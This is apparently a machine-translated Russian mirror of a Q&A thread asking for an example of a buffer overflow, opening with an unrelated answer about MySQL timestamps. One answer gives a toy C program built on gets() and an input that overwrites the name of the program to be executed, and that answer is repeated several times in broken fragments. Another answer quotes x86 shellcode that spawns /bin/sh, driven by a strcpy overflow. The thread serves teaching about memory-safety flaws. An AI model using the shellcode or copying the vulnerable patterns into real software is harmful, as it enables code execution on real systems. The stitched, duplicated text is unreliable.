Можно ли дать пример переполнения буфера?

Метки времени в MySQL обычно используются для отслеживания изменений в записях и часто обновляются каждый раз, когда запись изменяется. Если Вы хотите сохранить определенное значение, необходимо использовать поле даты и времени.

, Если Вы подразумевали, что хотите решить между использованием метки времени UNIX или собственного поля даты и времени MySQL, пойдите с собственным форматом. Можно сделать вычисления в MySQL тот путь ("SELECT DATE_ADD(my_datetime, INTERVAL 1 DAY)"), и просто изменить формат значения к метке времени UNIX ("SELECT UNIX_TIMESTAMP(my_datetime)") при запросах записи, если Вы хотите воздействовать на него с PHP.

6
задан Dima 20 August 2009 в 15:35
поделиться

9 ответов

Во-первых, вам нужна программа, которая будет запускать другие программы. Программа, выполняющая OS exec в той или иной форме. Это сильно зависит от ОС и языка.

Во-вторых, ваша программа, запускающая другие программы, должна считывать данные из некоторого внешнего источника в буфер.

В-третьих, вы должны затем проверить работающую программу - как она размещена в памяти компилятором - чтобы увидеть, как входной буфер и другие переменные используются для шага 1 (запуск других программ) существуют.

В-четвертых, вы должны придумать ввод, который фактически переполнит буфер и установит другие переменные.

Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Часть 3 требует некоторого анализа того, как выглядят буфер и program_to_run , но вы обнаружите что это, вероятно, просто

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Часть 4, ваш ввод, тогда он должен быть

1234567890123456notepad.exe\x00

Таким образом, он заполнит буфер и перезапишет program_to_run .

затем вы должны проверить работающую программу - как она размещена в памяти компилятором - чтобы увидеть, как существует входной буфер и другие переменные, используемые для шага 1 (запуск других программ).

В-четвертых, вы должны придумать вход это фактически переполнит буфер и установит другие переменные.

Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Часть 3 требует некоторого анализа того, как выглядят буфер и program_to_run , но вы обнаружите что это, вероятно, просто

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Часть 4, ваш ввод, тогда он должен быть

1234567890123456notepad.exe\x00

Таким образом, он заполнит буфер и перезапишет program_to_run .

затем вы должны проверить работающую программу - как она размещена в памяти компилятором - чтобы увидеть, как существует входной буфер и другие переменные, используемые для шага 1 (запуск других программ).

В-четвертых, вы должны придумать вход это фактически переполнит буфер и установит другие переменные.

Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Часть 3 требует некоторого анализа того, как выглядят буфер и program_to_run , но вы обнаружите что это, вероятно, просто

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Часть 4, ваш ввод, тогда он должен быть

1234567890123456notepad.exe\x00

Таким образом, он заполнит буфер и перезапишет program_to_run .

вы должны придумать ввод, который фактически переполнит буфер и установит другие переменные.

Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Часть 3 требует некоторого анализа того, как выглядят буфер и program_to_run , но вы обнаружите что это, вероятно, просто

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Часть 4, ваш ввод, тогда он должен быть

1234567890123456notepad.exe\x00

Таким образом, он заполнит буфер и перезапишет program_to_run .

вы должны придумать ввод, который фактически переполнит буфер и установит другие переменные.

Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Часть 3 требует некоторого анализа того, как выглядят буфер и program_to_run , но вы обнаружите что это, вероятно, просто

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Часть 4, ваш ввод, тогда он должен быть

1234567890123456notepad.exe\x00

Таким образом, он заполнит буфер и перезапишет program_to_run .

5
ответ дан 8 December 2019 в 02:35
поделиться

"Разбить стек ради развлечения и Прибыль »- лучший HowTo / FAQ по этой теме.

См .: http://insecure.org/stf/smashstack.html

Вот фрагмент фактического шелл-кода:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}
14
ответ дан 8 December 2019 в 02:35
поделиться

Есть две отдельные вещи:

  1. Код, который переполняет буфер, это легко сделать и, скорее всего, закончится ошибкой сегментации. Вот что было показано: sprintf (buffer, "01234567890123456789");

  2. Средство помещения перезаписанного кода памяти, который выполняется операционной системой. Это сложнее, чем просто переполнение буфера, и связано с тем, как выполняются программы. Обычно они берут следующую инструкцию для выполнения из стека, если вам удастся поместить в следующее значение стека действительную инструкцию путем перезаписи памяти без создания повреждения указателя выполнения (или любого другого повреждения), вы можете создать эксплойт . Обычно это делается путем помещения инструкции перехода в следующее значение стека, которое будет считано, в раздел памяти, содержащий код. Вот почему маркировка разделов памяти как неисполняемых может помочь против такого рода эксплойтов.

5
ответ дан 8 December 2019 в 02:35
поделиться

ну, я не знаю, как запустить notpad.exe, но чтобы перезаписать этот буфер, просто выполните:

sprintf(buffer, "somestringlongerthan16");
3
ответ дан 8 December 2019 в 02:35
поделиться
int x[10];

x[11] = 1;
3
ответ дан 8 December 2019 в 02:35
поделиться
gets(buffer);

Невозможно правильно использовать get, так как он не запрашивает размер буфера.

scanf("%s", buffer);

Scanf будет читать ввод строки до тех пор, пока он не достигнет пробела, если пользователь наберет больше чем 16 символов, произойдет переполнение буфера.

1
ответ дан 8 December 2019 в 02:35
поделиться

Переполнение буфера может использоваться для того, чтобы заставить код делать что-то иное, чем предполагалось, - это записывать данные вне выделенного буфера, перезаписывая что-то еще.

Перезаписанные данные обычно представляют собой код в другой функции, но простой пример - перезапись переменной рядом с буфером:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

Если вы вызовете функцию с большим количеством данных, чем может вместить буфер, она перезапишет имя файла:

execMe("0123456789012345notepad");
2
ответ дан 8 December 2019 в 02:35
поделиться

Smashing The Stack For Fun And Profit Фрака содержит достаточно объяснений, чтобы вы могли делать то, о чем просите.

1
ответ дан 8 December 2019 в 02:35
поделиться

Простой пример см. Также здесь:

Защита от атак с переполнением буфера: пример атаки

http://www.greenend.org.uk/rjk/random -stack.html

1
ответ дан 8 December 2019 в 02:35
поделиться
Другие вопросы по тегам:

Похожие вопросы: